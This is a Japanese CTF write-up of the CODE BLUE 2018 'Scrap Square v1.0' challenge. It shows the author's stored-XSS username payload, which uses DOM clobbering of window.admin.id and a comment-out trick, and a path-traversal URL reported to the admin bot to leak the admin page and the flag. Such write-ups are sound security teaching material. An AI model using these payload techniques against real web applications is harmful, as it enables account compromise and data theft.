Edited at

CODE BLUE CTF 2018 Quals Write-up

More than 1 year has passed since last update.

CODE BLUE CTF 2018 Quals に チーム m1z0r3 として参加しました。

Scrap Square v1.0 という問題を解いたので、忘れないうちに Write-up を書きます。


Scrap Square v1.0

メモを記録するアプリケーション。ソースコードも渡される。ユーザ登録ができ、問題のあるメモは Admin に報告することができる。

image.png


解答

適当なユーザ(uid: uid1)を作成して、その後

<form name="admin" id="[uid1]"></form>

<script src="/static/javascripts/load-scrap.js"></script>
<script src="/static/javascripts/report-scrap.js"></script>
<script src="/static/javascripts/periodically-watch-scrap-body-and-report-scrap-automatically-with-banword.js"></script>
<!--

というユーザ名でユーザ(uid: uid2)を登録し、

http://v10.scsq.task.ctf.codeblue.jp:3000/scraps/[uid2]/hoge?fuga=../..

という URL を報告すると、最初に作成したユーザに admin のトップページの情報が報告される。

あとは、

http://v10.scsq.task.ctf.codeblue.jp:3000/reports

を見ると、admin のトップページの情報からメモのタイトルの一覧がわかるので、

http://v10.scsq.task.ctf.codeblue.jp:3000/admin/[Title]

にアクセスすると FLAG が手に入る。


解説


■ ポイント1: ユーザ名に関して

<form name="admin" id="[uid1]"></form>

<script src="/static/javascripts/load-scrap.js"></script>
<script src="/static/javascripts/report-scrap.js"></script>
<script src="/static/javascripts/periodically-watch-scrap-body-and-report-scrap-automatically-with-banword.js"></script>
<!--


  • ユーザ名はサニタイズされないため XSS 利用可能。


  • periodically-watch-scrap-body-and-report-scrap-automatically-with-banword.js をロードすることで、自動で reportScrap() が実行される。


  • reportScrap() では window.admin.id 宛に報告されるので、 DOM Clobbering によって window.admin.id の値を自分の UID に書き換える。

  • のちにロードされる config.js によって window.admin.id の値が書き換えられるのを阻止するために最後にコメントアウトする。

  • コメントアウトにより、必要な JS ファイルもロードされなくなってしまうので、必要なファイルはあらかじめロードする。


■ ポイント2: 報告する URL に関して


http://v10.scsq.task.ctf.codeblue.jp:3000/scraps/[uid2]/hoge?fuga=../..

という URL を報告すると、最初に作成したユーザに admin のトップページの情報が報告される。


load-scrap.js を見ると、現在の URL を / で区切って、 usertitle を取得して GET する URL を組み立てている。


load-scrap.js

const urls = location.href.split('/')

const user = urls[urls.length - 2]
const title = urls[urls.length - 1]

// ...

$.get(`/static/raw/${user}/${title}`)
.then(c => {
const scrapBody = $('<pre class="scrap-body">')
scrapBody.text(c)
$('.scrap-wrapper').append(scrapBody)
})


例えば http://v10.scsq.task.ctf.codeblue.jp:3000/scraps/hoge/fuga?piyo=../.. という URL の場合には、 /static/raw/../.. という URL(つまり / )を load してくる。

この URL を報告することにより、 load-scrap.js は admin のトップページの情報を取得して HTML に反映する。